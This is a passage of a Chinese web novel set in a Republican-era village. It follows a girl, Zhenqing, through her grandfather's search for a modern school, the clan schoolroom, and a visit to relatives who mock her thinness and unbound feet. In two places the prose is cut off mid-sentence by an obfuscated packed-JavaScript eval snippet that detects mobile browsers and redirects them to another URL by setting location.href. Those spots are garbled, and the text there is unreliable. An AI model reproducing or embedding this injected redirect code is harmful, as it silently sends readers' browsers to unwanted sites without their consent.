“听长辈们说,生孩子像过鬼门关,很危险。你娘挺着肚子还干那重的活,更危险。你不想做没娘的娃子,你就跟你爹跟你奶闹,不要让她干那么多活。” 李宝荪很有点犹疑:“可是我娘,我娘她就喜欢干活,不干活她不舒服啊,我奶跟我说,一叫我娘歇着她就浑身难受。” 珍卿翻了两个大白眼儿,我可去你奶奶的吧,她问:“那你爹、你奶奶喜欢干活吗?” 李宝荪想了想:“他们不干活,让长工和我娘干。” 珍卿又问:“那你爱干活吗?你姑爱干活吗?你动动脑壳想一想,人都是一样的,哪有不喜欢玩,只喜欢干活的?” 李宝荪大皱其眉,难以理解,珍卿也不求他理解,直接告诉他: “你就记着,你不想做没娘的娃儿,跟你爹你奶不要求不要说,你要是求他们不让你娘干活,那是害了你娘。 “回家就给我哭给我闹,在地上撒泼打滚儿,咋样都行,反正让你娘少干活多吃饭。让她把肚里小娃儿好好生下来。要不然,说不定你就没娘了……” 珍卿说完,看着李宝荪二不兮兮的神情,立刻后悔了,悔不该跟他说这些话。李宝荪跟她同岁,不算虚岁也有十二三岁了。这地主家的傻孙子太宝贝了,这么大了还是一团孩子气,都不晓得护着亲妈,跟他说了半天他还听得直发愣,回头可别把她给卖喽。 珍卿连忙立起眉毛,威胁李宝荪道: “宝荪,我跟你说的这些话,不能跟任何人说。要是你敢出卖我,把我的话跟人说,我再也不跟你玩,画册也不给你看。” 李宝荪一听急了,连忙赌咒发誓地说,绝不跟别人说,他要是说了,他就是乌龟王八蛋生的。 珍卿真是觉得累心,还是回到了院子前面,跟大家一起玩儿吧。玩了一会儿九先生来了,大家就开始上课了。 九先生还是给珍卿讲《女儿经》,又给她布置了十遍写字。珍卿听了讲下来,把《女儿经》写了三遍,开始自己学《春秋》上的内容,并不按九先生的安排来。 她正在老老实实看书,她背后又被撞了一下。知道肯定是那个招猫逗狗的崔胖虎。他又抢了后桌陈学礼的大字耍着他玩。 崔胖虎和陈学礼都是杜氏族学里附学的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411955|184628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过因为一富一穷,境遇天差地别。 听说,崔胖虎家里总给九先生送厚礼,九先生高兴得不得了,对崔胖虎在学里的恶行就睁一只眼闭一只眼。 而陈学礼家里是真穷,听说他家原先是阔过的。后来因与人争斗没斗赢,就闹了个家破人亡。陈学礼的爹就发毒誓,他报不了仇也要让他儿子、孙子给报仇。结果第一步生儿子老天爷都不照顾他。他一连生了五个闺女,家里穷到叮当响了,才生出陈学礼这个宝贝儿子来。然后对着杜氏族长千求万求,给儿子陈学礼求到了读书的机会。 陈学礼是个好孩子,也珍惜念书的机会,根本不敢惹事,但学里总有人欺负他,最厉害的就是崔胖虎。珍卿也暗暗帮陈学礼教训过崔胖虎,可没有谁能帮谁一辈子。这一次,珍卿就没有管这个闲事。 陈学礼写的大字叫崔胖虎都快撕完了,他急得顾不得先生可能罚他,走到崔胖虎跟前去抢那些大字。闹着闹着九先生就下来了,他黑着脸叫崔胖虎和陈学礼都站到外面去。 陈学礼立刻大哭起来,崔胖虎倒得意扬扬的,一点也不在乎。 就九先生这样的师德,族学里离乌烟瘴气也不远了。珍卿自觉善于忍耐的人,都看得厌烦了。 珍卿的祖父杜太爷,可不知道孙女开始厌学了。他到县里铺子收账,顺道考察新式小学,事情都办清白了,雇了一辆马车回杜家庄。进了村子以后,他拎着给孙女带的糕点果子,回到了位于北村的家里。 对于那些新式小学,杜太爷考察的结果不尽人意。 他年轻时在外面没闯出啥名堂来,外面闹革命啥的他也不大懂。他书也没读过几本,可小时候念诵的《神童诗》,如今还记得几句,说是“万般皆下品,惟有读书高”,还有“莫道儒冠误,诗书不负人”。想要做人上人,儒家的“四书五经”才是根本嘛。 在外头新式学堂里,国文也只是一门课,新式学堂也不下大力气教,这样不就是本末倒置了嘛。 还有外头学堂教的那些个,什么算术、唱歌、画画、劳作、地理,还有其余他记不住名目的课,怎么看怎么怪。 学算术将来还能够管家,学点地理将来能走出门,这些倒罢了。可是唱歌可就是戏子倡优的营生,是下九流的活计了。他好好养出来一个孙女,难道学出来反倒成了个卖唱的?还有劳作课,这就更不像话了。他养的这个孙女,是家里独一个的孩子,虽说对她许多地方严厉,可从小到大没少打她,可也没叫她受过累。她连个洗碗的刷子都不会拿,连针线活儿也没有叫她多动过,何苦叫她上啥累掯人的劳作课? 再者说了,这办新式学堂的人里面,很有一些造反作乱的人,还有让官府通缉的,这些算什么正经人呢?这种人怎么能教得好学生呢?这岂不是误人子弟嘛? 上新式学堂确是大趋势,可杜太爷很是犹豫。 5. 广托人情找学堂 考察完新式学堂的杜太爷,带着满腹疑虑回到家里,便叫管家黎大田来问话,他先问春耕准备的怎么样,还有棚里的牲口都怎么样。然后细细问了珍卿在家如何。 黎大田就说,太爷离家的几天大小姐还跟往常一样,早起早睡,温书背书,写写画画,来往在族学跟家里,也没有淘气惹事,都安安生生的。 说到末了黎大田又说: “太爷,我家那口子做饭,畜生都不爱吃,更别说给大小姐吃。大小姐现在吃饭,还是爱吃不吃的。太爷,我看还是另找厨娘,大小姐要长身体,这么着可不行。” 杜太爷拍拍额头,也有点发愁地说:“托了杨家湾她姑奶奶帮忙找,要等等。”黎大田这才稍微放心。 这两人正在说着话,忽听见“吧嗒吧嗒”的响动声,一推窗看见外面阴沉沉的,半空里细细密密的雨飘落下来了。 杜太爷和黎大田两个人,又说了家里、地里还有县城铺子里的事。杜太爷说布店和大车店的生意都好,大有利钱可赚。可是那个粮店里面,林掌柜跟他叫苦,说这几年年成太好,县城又开了两处粮店,生意越发难做了。 黎大田闷声不响,年成好大家手里有钱,粮食生意照理应该更好做。可这粮店挣钱却越来越少,是个人都要疑心一下掌柜的。可他家这个杜太爷是个面憨心更憨的,但他性子还挺倔,身边人不能逆着他的意思,要是长工、佣人逆他的意,他也不说扣你工钱,就直接把你赶出去了。 要是儿女孙女逆了他的意思,他就敢狠狠地打,那真的是往死里打。 黎大田有话不敢说,只好闷在心里,过了一会儿,他看看天色就说:“太爷,大小姐没带伞,我去迎迎她?” 杜太爷模糊地“嗯”一声,黎大田拿了伞,穿了蓑衣斗笠去了。 族学下学的时候,珍卿把书包里两本《西游记》画册,背着人给了杜玉琮,玉琮给她带的好吃的,她也早放进书包里。 因为下雨,学生们家里多数都有人来接。珍卿只跟玉琮走了一段,就遇见来接她的大田叔,他被大田叔护着往回走。 一听大田叔说祖父回来,珍卿立刻高兴起来,催促大田叔走快点回家。回到家里,珍卿冲到前院的堂屋里大声问:“祖父,你看学堂看得咋样,我能去上学了吗?” 杜太爷虽说是个旧式人,也重男轻女,孩子有时候也往死里打。但这几年与孙女相依为命,对她很有几分感情了。看她这满脸期待的表情,他的考察结果竟有些不忍心跟她说。 杜太爷先叫珍卿去拜一拜孔夫子。珍卿只好按捺着急,往东屋走了一趟,在杜太爷特制的孔夫子神龛前,点上香,好生拜了几拜。 杜太爷对别的神佛,总是时信时不信的,但对于孔夫子他倒很崇拜似的,常日总叫珍卿格外敬着。 再回到正堂屋,珍卿还问学校的事,杜太爷才说: “其他学堂都不济,有一个新陵小学,都说不错。可那校长听说闹赤党,还是官府的通缉犯,现在又逃跑了,学堂就扔在那里不办了。这个也不行。” 珍卿失望地塌下肩膀,闷头坐在一边,不说话了。 这里的民国,跟她以前的世界不一样。最后一个王朝虽然也是清朝,也是剃头梳辫子的朝代,但这里的历史跟她学过的根本对不上。 她不太闹得清杜太爷说的“赤党”是哪个党,但据她的猜测,大约现在的政治斗争是类似于旧式军阀和资产阶级政党的斗争。要知道,在她的那个时空里,guomin党也曾经被叫作“赤党”的。 杜太爷看她情绪不好,把带回来的点心果子打开,招呼珍卿吃吃看好不好吃。 珍卿沉着小脸儿,说了一句:“祖父,我一定要出去念书。”杜太爷“嗯嗯”地附和点头,见罗妈送水进来了,连忙招呼她“洗洗手”。 珍卿吃着豆沙糕、麻花、板栗,觉得都很不错,想明天给玉琮他们带一些去。 一会儿,午饭陆续摆上来,杜太爷见珍卿也不正眼看饭菜,拿这些零碎儿吃个没完,心里开始生气,他猛地一拍桌子说:“这些都是不养人的东西,你吃个没完干啥?快给我好好吃饭。” 正在摆碗筷的罗妈就说:“太爷,你晓得不养人,为啥还给大小姐买这么些?”珍卿翻着白眼儿看罗妈:万一祖父真听进心里,以后真不给买零食,难道天天吃你做的黑暗料理? 这个时候,杜太爷取来堂屋桌上的戒尺,在饭桌上砸得“梆铛梆铛”响,高声喝斥着珍卿说:“你不好好吃饭,我就要打你!” 珍卿听着这动静,下意识打哆嗦,缩着脖子放下手里的板栗,心不甘情不愿地拿起筷子。她瞅瞅桌上的两菜一汤——今天杜太爷回家,饭菜难得稍微丰盛一些: 红烧排骨,做成了炭烧排骨,黑黢黢的;炒萝卜片子,萝卜片子切得跟萝卜墩子似的,炒得白不滋溜,乌不拉嘎的,有的没炒熟,有的炒糊了;还有那一盆粉条子汤,怎么看都像是端了一盆鼻涕汤上来。 这个罗妈手艺不好就算了,还这么爱放酱油,个个菜品看着都黑不隆冬的。馒头摸着也又黄又硬的,珍卿拿在手里有点费解地问:“咱们家咋吃上黄米面了?” 珍卿自幼身体不强,脾胃虚弱,从小都是吃细米白面的。现在身体见好,吃点粗粮倒也行。 她咬了一口真是挺硌牙,看大田叔端着米粥进来,纳闷地问:“这黄米面咋这么硬呢?” 大田叔放下粥碗,有点讪讪地说:“是细白面做的,碱放多了,变黄了,有点硬。”珍卿默默地,放下这个细白面做的黄馒头。这样一桌子菜和馒头,别说吃进肚子里,她多看它们两眼,都恶心得快要上西天,吃个毛啊吃。 杜太爷看她要放下筷子,虎视眈眈地举着戒尺,好像她不吃他就要立刻开打了。珍卿只好在心里默念,天将降大任于是人也,必先苦其心志,劳其筋骨,饿其体肤……老天爷派罗大妈来祸祸她,大概真的有重任要托付给她,所以要千方百计地磨炼她。 珍卿挑来挑去,挑了些没糊的萝卜片吃,然后就喝了两碗粥。杜太爷跟牢头似的,看她也算吃了不少,才收回了他的威慑工具——戒尺。 这以后的日子,杜老太爷对珍卿上学的事越发上心,姑奶奶家的三表叔,他也早托他帮忙留意。 他求助其他的亲戚,人家都不愿意搭理他。 杜太爷还是求到族长杜向渊那里,族长毕竟是杜太爷的亲侄孙,一点儿不打哈哈地应下了。珍卿知道,族长的二儿子杜明堂——也就是杜玉琮的二叔,就是在永陵市当教师的,打听学堂的事一定是比较方便的。她就暂时放下心来,不再一味地心里面上着急。 珍卿感激族长家仗义相助,每天不是给玉琮带吃的,就是跟他讲好玩的故事。他们俩人有时候还撇开其他小伙伴,一起到草窠里捉虫子玩,或者去爬树翻墙,关系是越来越好。 玉琮家里的女人们,——他奶奶、他娘、他二姐,因为她对玉琮好,就更叫玉琮给她带好吃的来,还常喊她到家里吃饭去。不过珍卿都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411956|184628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有去,杜太爷不让她随便在别人家吃饭。但珍卿挑了两本平常画的花样子,一本给玉琮的娘,一本给玉琮的二姐。玉琮奶奶早就不做针线,就没给她。 不觉之间,两家人关系倒比从前亲近。 这天,玉琮高高兴兴下学回家,看二姐跟她娘在看珍卿给的花样子,听她们说:“没想到这妮儿这么有心思,这花样子都新鲜得很呢。”玉琮就说:“珍卿画画好着呢。”玉琮她娘就说:“没想到,这小妮子怪灵的,干啥都怪像样子,还挺懂礼数,可惜她爹娘是那样的。” 玉琮奇怪地问:“她爹娘咋了?”玉琮二姐也问:“娘,她爹娘咋了?”玉琮她娘后悔失口,叫孩子们别问了。玉琮奶奶在里屋说:“唉,这个妮儿是个好妮儿,可惜不入族谱,说起来好像总是低人一头。要是论起辈分来,珍卿该叫俺嫂子,你们这些小辈儿,要喊她姑奶奶、姑儿。” 玉琮听得很不喜欢,不高兴地说:“我才不叫她姑奶奶!她比我还小。” 玉琮娘又问:“珍卿会不会入族谱?这妮儿怪机灵的。”玉琮她奶说:“不好说,你二弟不是在给她找学上,上不了族谱,到外面上学也好,免得让人挑长挑短。”玉琮二姐问:“奶,我咋不能到外面上学?”玉琮她奶白孙女一眼:“你都定婚了,都有家儿了,你上啥学?珍卿是没得法子,才叫她去上学,出去上一层釉子,显得光亮些,将来说亲好说些。” 说着,她摸摸玉琮的后脊梁: “现在不兴考科举了,咱们玉琮,早晚也要出去念书,一路念,咱们也学珍卿她三表叔出洋,最好考个洋翰林(指博士)回来,将来寻个一官半职,也尊重地很。”玉琮低着头,没有吭声。 …… 珍卿按部就班地过着日子,一直到三月初也没等来什么好消息。 有时候她也想妥协,随便找个小学念难道不行吗?但杜太爷坚决不同意,杜太爷的意思,他孙女这么有念书天赋,要上学一定要上最好的。县里没有好学堂,到市里上也行,市里要是还不行,到省城去上也行。学费需要杜太爷出,他说话当然很有分量的。 珍卿难免心里着急,虽然说她生日在腊月间,今年她过了生日可就十三岁了,按照虚岁算她都十四岁了。她没想做时代的弄潮儿,也不愿被时代潮流拍在后面啊。上辈子学会的东西,再不去巩固巩固,她就要忘光了啊。 没有等到上学的好消息,却等到不用上族学的好消息。 话说最近雨水有点多,时不时就下一阵雨。有一回,九先生去南边的庄子赴牌局,没留神土路被雨水泡松了,不小心马车就翻掉了。九先生不知怎么摔的,反正是摔着大胯了,伤得还比较严重。珍卿和玉琮去他家里看望,看见他只能撅着屁股扶着墙走,像个大□□一样,两个人回来笑得不行。 不用上族学的第三天,北边杨家湾珍卿的姑奶奶打发人来了——其实算是表姑奶奶,是杜太爷的亲姨表姐。杨家姑奶奶打发人来杜家庄,给珍卿送春天的衣裳鞋袜,顺道说二表姐杨若云要出阁,也想接珍卿去杨家湾那里玩玩,杨家的老太太和太太们想得很了。 杨家来人听说杜家族里先生病了,珍卿不用上学,这可不是正赶巧了嘛,顿时高兴地赶紧叫人给珍卿收拾行李,说话就要带表小姐走了。 杜太爷其实不大情愿让珍卿出门。珍卿在家里着实憋闷,太想出去放放风,就跟杜太爷好说歹说,叫他答应她去杨家湾。珍卿便收拾了书本笔墨并衣裳鞋袜等,跟着杨家来的车赶紧到杨家湾去。 6. 做客杨家遭数落 珍卿坐在马车里,扒开马车帷子看着外面的春日景象:到处花明柳媚,蝴舞莺飞,人的耳朵里总能听见各种鲜活的声音。冬日一片死寂的堰塘,也长出绿绿的漂浮物,时来一阵轻风,水面就优雅地荡起涟漪…… 珍卿靠在马车壁上,舒服地叹了几声。在杜太爷手下讨生活,简直跟坐监牢一样。去杨家湾呆一阵子,好歹能呼吸点新鲜空气,舒舒坦坦享几天清福。 可怜啊,她只有杨家姑奶奶这一门亲戚可走,因此能出来的机会,实在少之又少。 说杜太爷的亲近亲戚少,就不得不说说杜太爷这个人。杜太爷年轻时,是个干啥啥不成的犟驴子,他一门心思想做大生意,走南闯北到处浪。家里所有事情都交给老婆管,一儿一女就跟没这个爹似的。后来,他把父母留给他的家业几乎败光,浪到没有资本浪了才回到杜家庄来。 珍卿的奶奶景氏又气又累又伤心,四十不到就死了。后来,杜太爷对一双儿女,也只会施加棍棒教育,压根没有当慈父的意思,闹到一儿一女先后都离家出走。珍卿奶奶的娘家景家,也早早跟杜太爷断绝了来往。而珍卿的爸妈当初是各自逃了家里的婚约,两个人私奔在一起的。后来怎么回的杜家庄,容后再说。 珍卿的外祖父母根本不认这个“败坏门庭”的女儿。所以,杜太爷也没有亲家可以走动。她的那个从没见过的姑姑红珠,离家出走之后更是杳无音讯。 现在能让杜太爷走动的,除了本家杜氏的亲戚,只有他的一位表姐家——就是现在要去的杨家姑奶奶家。 这位杨家姑奶奶,原是杜太爷的亲姨表姐,是杜太爷亲妈小妹妹的女儿。姑奶奶七岁那年,因为家乡闹瘟疫,她家里人死绝了,只得投托到她亲姨妈的膝下,其后便一直在姨妈身边长到出嫁。 姑奶奶大约感于姨妈的抚养之恩,对于姨妈最担心的小儿子一直非常照顾。所以姑奶奶爱屋及乌,对珍卿也非常看顾。珍卿的四季衣裳鞋袜、首饰膏粉,还有她写字的笔墨纸砚,多靠着姑奶奶那里给她张罗的。不管别人如何,珍卿对这位姑奶奶是感激的,也很亲近。 杨家湾位于睢县西北方,四五十里的路程,不用半天就到了。 杨家湾也是个大村庄,庄上也有不少财主乡绅,而姑奶奶家的杨氏就是其中的一个大户。他们杨家的房子就算比较旧了,也比珍卿家的气派多了。杨家的大门是很庄严的黑漆大门,看着真显眼。大门外头,还有几个大青石的拴马桩,是盖房子的时候为了摆阔炫富用的,现在也还是门第的象征。 珍卿下了马车被杨家佣人引进去,姑奶奶的老丫鬟余奶奶已经站在院子里等着她。余奶奶上来搂住珍卿,问她来的路上怎样,握着她的手问冷不冷。 余奶奶原是杜家的丫头,跟姑奶奶陪嫁到杨家,所以她对珍卿也很好。珍卿的包袱行李,自然有人给她安排了。余奶奶笑得满脸褶子,拉着她向里面走: “你姑奶奶总盼你来,吃用穿戴给你备了一大些。你爷那个犟筋,非说你天天要上学来不了。这也没学上了,不如多住一阵再回杜家庄。” 珍卿乐呵呵地说:“我巴不得多孝敬陪伴长辈,也最愿意和表姐们在一块儿,就怕我祖父不让呢。”说起杜太爷这老头子,总不爱孙女在别家多住,好久生怕住久了人就成了别人家的。 珍卿进到杨家的花厅里,见姑奶奶和二表娘、三表婶,还有姑奶奶夫家的侄媳妇、侄女,都在花厅上吃茶、说话、绣花。二表娘跟她堂房小姑子翠花,正拿花样子比画着什么。 大家看见珍卿走进来,极热情地叫她过去,这个摸一把那个揉两下,问她在家都忙什么,怎么总不来,还给她拿点心果子吃。珍卿也没机会好好答话,姑奶奶就把她搂在怀里不撒手,还亲手拿着果子喂她吃。 姑奶奶倒不问她在家干什么,只问她在家吃得咋样,穿得咋样,在学里跟同窗处得如何。珍卿就一一地答她,但不好当着外人说的她一句也不说。 姑奶奶家的人在一起,都是亲亲热热的,比她自己家清冷的气氛好多了。珍卿坐定之后,渐渐被这群妇女的情绪感染,心里也很高兴了。姑奶奶的夫家侄女——翠花表姑姑拉着她的手,上下打量着她半晌啧啧有声道: “果然姑娘长大了,就斯文多了。这小妮儿小的时候,简直是个混世魔王,胆子也大。姑姑问你,你现在还拿不拿铁钎子戳马屁股,还敢不敢爬到房顶上闹,还往不往人家粪坑里扔石头?……” 翠花表姑姑这么一问,一屋子老少女人哄堂大笑,笑声快把房顶掀起来。 珍卿也讪讪地笑,这都是小时候为了破坏定亲干出来的事儿,没想到一次又一次被拿出来说笑,这些年都被这群妇女逗弄得疲沓了,内心毫无波澜还得装出我不好意思的样子来。若是当着这群妇女不装斯文样子,她的举动传到杜太爷耳朵里,这老头子又得用暴力手法掰她的性格——时下乡下地主为了掰女孩子的性格,除了打骂还有让人饿肚子的办法,珍卿经受过这些手段的洗礼,倒是不怕杜太爷把她打个好歹饿个怎样的,怕就怕杜太爷一发癫拿上学的事要挟她,这可就太得不偿失了。倒不如让大家看到她斯文有礼的样子,既不吃亏也不受罪。 姑奶奶的夫家侄媳妇桂英表娘,却忽然跟姑奶奶的二儿媳说: “早跟你说,孩子小时候没有不淘的,姑娘家长大了自己就省事了。你看小花儿,小时候骂她说她都跟说的不是她一样,没心没肺的样子。现在长大些,可不就晓得害臊了。这孩子性子刚强,正好配你家老二,你还不愿意……” 厅中女人们都在那起哄,珍卿心里一个咯噔,看着二表娘强笑的神情以及姑奶奶笑呵呵的样子。 她心中立时警铃大作,这是又要乱点鸳鸯谱啊。 珍卿知道姑奶奶有心照应她,其实很想把她聘到杨家,姑奶奶家里的适龄表哥,也只有二房的二儿子昱衡和三儿子绍衡。但姑奶奶和她二儿媳,对这一桩事一直没有达成一致。二表娘根本不愿聘珍卿当儿媳妇,不愿意的原因当然很多了。 此刻,姑奶奶冷眼看着大家那么起哄怂恿,二儿媳妇就是不肯接话,心里对她着实不满,忍却着没有发作,她扭过头跟余奶奶说: “娟子,你带小花去换一身穿戴,在自己家里就轻轻爽爽的,对啦,再把我给她新请的玉佛戴上,项圈、串子那些子累赘都别戴了。” 珍卿正感叹,她这个人最大的优点,其实是念书念得好。在这一点上,姑奶奶家的男性知识分子,其实都很认可她,都说她该多念书。而在杨家这群妇女看来,她们选儿媳妇学问好是最没用的东西。 余奶奶正带着她往外走,忽听姑奶奶在后面补充:“——对了,小花,换好衣裳去看看二表姐,她的喜日子快来了。你们姊妹也处不了几天,好好跟她说说话儿。”珍卿连忙应下了。 才从花厅里出来,珍卿跟余奶奶边走边说话,姑奶奶家的三表姐若衡风风火火地跑过来,抱着珍卿摇啊摇地说:“小花,我盼星星盼月亮可把你盼来了。你不晓得,我娘逼我绣花,我爹又叫我认字,天天不是这就是那,又没人陪我,可没得意思了。”杨家的三表姐若衡,正是刚才花厅里二表娘的女儿, 珍卿拍拍她胳膊,龇牙咧嘴地作怪脸说:“告诉你多少次,不叫小花,叫珍卿。”若衡笑得像一朵喇叭花,撒娇道:“昂^,珍卿,人家从小叫习惯了嘛。”余奶奶在一边说:“小花还是要叫,你还没长大,等你平平安安长大,愿意叫什么叫什么。”珍卿跟余奶奶吐吐舌头,做了个怪表情,没跟余奶奶顶嘴。 姑奶奶家的孙辈里有四个女孩儿。大表姐、二表姐都是大房的,珍卿跟她们年岁差得大,不怎么一起玩。三表姐若衡是二房的,性格开朗热情,跟珍卿年齿相近,两人从小玩得最多。四表姐若兰是三房的,三房只有她这一个孩子,所以她性格孤拐又霸道,并且不知为啥对珍卿意见很大。三房的杨若兰曾经当着众人的面,把珍卿的行李扔到杨家大门外,叫她滚回杜家庄去。所以,珍卿压根不跟杨若兰打交道。 若衡也不喜欢三房的若兰,反倒跟珍卿这个表妹最是要好。若衡一路跟过去帮珍卿换衣服,还帮她扯领子挽袖子,特别亲热。 珍卿换了衣裳,若衡又陪她一块去见二表姐若云。到了若云表姐闺房,若云姐的亲娘也在——珍卿叫她大表娘的。另外还有若云姐的亲外婆高老太太,和她的亲舅妈高太太,都在她的房里陪她说话。大表娘和若云表姐看珍卿来了很高兴,拉着她的手就在一起亲亲热热地说话。 珍卿暗暗打量若云表姐,见她面容娟秀,神态娇柔,举手投足说不尽的古典韵味,看着真是美地很。若云姐还很有才具,除了管家之外,也会做女工、写字弹琴。同样地,她还裹了很精巧的三寸金莲。 这么好的女孩要出嫁了,珍卿感受却有点复杂。在这个风云激变的时代,人们要应付更多的变化。听说若云姐的未婚夫婿,是在平京城上大学的,必定学了很多新的观念和思想。倒不是说新派男子一定不喜欢旧派女子,而是旧派女人跟新派男子在一块面临的风险更大。 珍卿正在想着,忽听见若云姐的外婆高老太太说:“小叫花子,你爷不给你饭吃吗,瘦得跟一把柴一样?”神他奶奶的“小叫花子”!若云姐的外婆真是讨厌,别人都叫她“小花小花”,偏偏她一定要叫全名,一声声地喊她“小叫花子”。 哎,“小叫花子”这个名字真让人难以承受。她从小身体不好,她妈在世的时候生怕她养不活,就听了姑奶奶的建议,说给她取 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看出珍卿不大高兴,大表娘连忙转移话题,怜爱地拉着珍卿问她:“我听说,你们家原来做饭的老妈子走啦?”珍卿点点头。大表娘就很热心地说:“你爷不会找下人,早该来跟我们说。你看看你这妮儿,脸上皮肉松垮垮嘞,受的啥罪。听大表娘的话,在这儿多住一阵,把嘴上亏的都补回来再说回去的话。”珍卿当着外人表现得格外斯文乖巧一些:“我听表娘的,其实我吃得也好,今儿吃兔肉,明儿吃红烧肉,时不时还有烧鸡嘞,又能走又能跑,天天自己上下学,身体好着呢。” 若云姐的舅妈高太太,上下打量着珍卿撇着嘴说:“这妮儿还是胎里弱,财主家里的小姐,瘦得跟饿老鹰儿一样,没福相。喊你‘小叫花子’,倒是没喊错。” 珍卿来到这里后,听过一个俗语叫“十个瘦子九个贫”。这个时候,绝大部分人还挣扎在温饱线上。这里的绝大部分胖子没有减肥的压力,穷人们看到他们身上的肥膘还会心生艳羡。反倒是瘦子们因为瘦得没福相,瘦得不雅观,反倒总被人拿来说嘴。 像眼前高家老少两位太太,都裹着小脚儿,胖得走路都要人扶,还压抑不住身为胖子的自豪感,以及在瘦子面前的优越感。 这种说珍卿没福相的话,珍卿从小到大不知听了多少,早就不在意了。这些胖妇女们来日富贵病一个也不可能少,她们的优越感在珍卿眼里是空中楼阁。 珍卿对这种眉眼官司和无聊贬损,生不出一点破功的脾气来,她还能格外低眉顺眼地接话说:“大夫说了,虽说是瘦,可是能吃能喝,能走能跳,没啥大事。”那高老太太却忽然不愤地说:“你那一双大脚片子,前挑后压的,肯定又能走又能跑了。小时候吃不了缠脚的苦,长大了求亲的人就不登门,你看你这小妮儿以后咋办?” 若衡表姐也是一双天足,没有裹脚,她不服气地说:“干姥姥,我也没有裹脚,不也定亲了吗?”那高老太太不以为然地说:“你定的是姑表亲,有你奶奶给你撑腰,这是你的福气。可是你看,小叫花子的福气在哪儿?她的终身大事,现在还没着落呢。” 大表娘示意她娘别再说,高老太太刚闭嘴,高舅妈却好笑地对珍卿说:“小叫花子,我听说你爷给你缠脚,你死活不愿意,还说‘小脚窝闺房,大脚走四方’,你一个丫头片子咋这大的志气。” 高老太太还挺愤愤不平的:“你不缠脚,你还挺有理性。你生了一双大脚片子,将来结亲,谁知道你是个小姐,还是个做活的丫头?”珍卿默默地听她们说,没有搭腔儿,默默在心里回忆孔夫子讲的三季人的故事,只活三季的蚂蚱怎么知道一年有四季?它没见过想象不出的生活辩赢了又有何益? 高舅妈又接着婆婆的话说:“你这妮儿真是笑死人嘞,哪家的小姐太太不是高高坐着,等着下人侍候?丫头老妈子才要走四方呢……除非你是个小姐身子丫头命,天天要干活儿,才拿这个说嘴嘞……” 珍卿的大表娘和若云姐,都急得直扯她们的衣服,叫她们不要再说了。被这一老一少当众下脸子,珍卿看在杨家人都对她不错,不至于对着客人乱发脾气,可也不想继续挺在这儿受不相干的人数落。珍卿不接她们的话茬儿,扭头跟大表娘说:“大表娘,我攒了几本花样子,这回都带来了,我回去理理东西,待会儿给您和若云姐拿过来。” 大表娘是巴不得听到这句话,连忙摆手说:“好孩子,你去吧。让余奶奶陪着你歇一会儿,不忙着拿花样子来。”珍卿应了下来,跟高老太太和高舅妈勉强点了点头,说声“我去了”,被若衡表姐拉着走了出去。 她们两人走到外面,还听高老太太跟大表娘发恼:“咋啦,她一个小辈儿,我说还说不得她啦,没见过哪家的小姐,养得这么野乎乎的,脾气还敢这么硬……”那高舅妈也不服气:“小叫花子又没奶又没娘,咱们当长辈的指点指点她,训教训教她,那都是为了她好,还不领情……” 一直没说话的若云姐,说话间也发恼了:“外婆、舅妈,你们别说了,小花来家是做客的。” 外面若衡表姐气得咬牙瞪眼,跺着脚大吼一声“什么人嘛,耍威风耍到——”。珍卿连忙捂住她的嘴,拖着她走出了大房的院子。 7. 边学边玩姐将嫁 珍卿不愿听高家婆媳数落,拖着若衡姐回到姑奶奶院子的后罩房里。 等到她们俩在房里坐定,若衡表姐跺着脚埋怨她:“说你脾气硬,我看你还不如我脾气硬,她们说得也太不像话。” 珍卿叹了口气说: “她们来,是庆贺若云姐的喜日子,我不看她们的面子,也要看大表伯、大表娘,几个哥哥还有若云姐的面子,他们对我总算不错。我要是闹大了,惊动了姑奶奶,姑奶奶准会跟大房过不去,大家都不安生。何苦来呢?” 若衡哼笑了两声,戳着她的额头道:“你可真是个实心眼,大伯娘是那干姥姥生的,若云姐是大伯娘生的,她们家所有女人都裹脚。你以为大伯娘和若云姐,瞧得上你的大脚片子?你不晓得的时候,她们也拿你的大脚片子说嘴呢,说你将来嫁不出去。” 珍卿耸耸肩膀说:“谁人背后不说人,谁人背后无人说。我背着你也跟姑奶奶说,你睡觉打呼噜还磨牙,吵得我睡不着,她就不让你跟我一起在后面睡了。这你可不知道吧?你不也跟二表娘说,我是个书呆子,将来肯定变个大傻子吗?” 若衡立刻被转移了注意力,也不知道该生气还是该羞愧,一会儿才别别扭扭地说:“我是为了给你出气,你反倒数落起我来。” 珍卿握着若衡姐的双手,很诚恳地说:“你说我书呆子,说我傻,还说我瘦得像猢狲,我也生气。可我觉得你只是嘴上说说,对我还是好的,有好东西也知道想着我。我气一阵就不气了,还是咱俩最要好。大表娘和若云姐也一样,她们说了我的闲话,可也没有做坏事害我,说的闲话也不是胡编乱造的话。她们有什么好事也想着我,我还有什么可气的。” 说白了,自身境遇如此,却对别人的言论要求太高,那就要生无数的闲气。常言说,身安不如心安,屋宽不如心宽,这是珍卿两辈子的心得。 若衡这时听得感动极了,眼睛里都漂泪花,珍卿就哈哈乐了两声说:“你眼窝儿也太浅了,这就感动哭了,小心将来给人骗了。”若衡立时破涕为笑,揪着珍卿要咯吱她,姐俩儿你跑我追,闹来闹去。 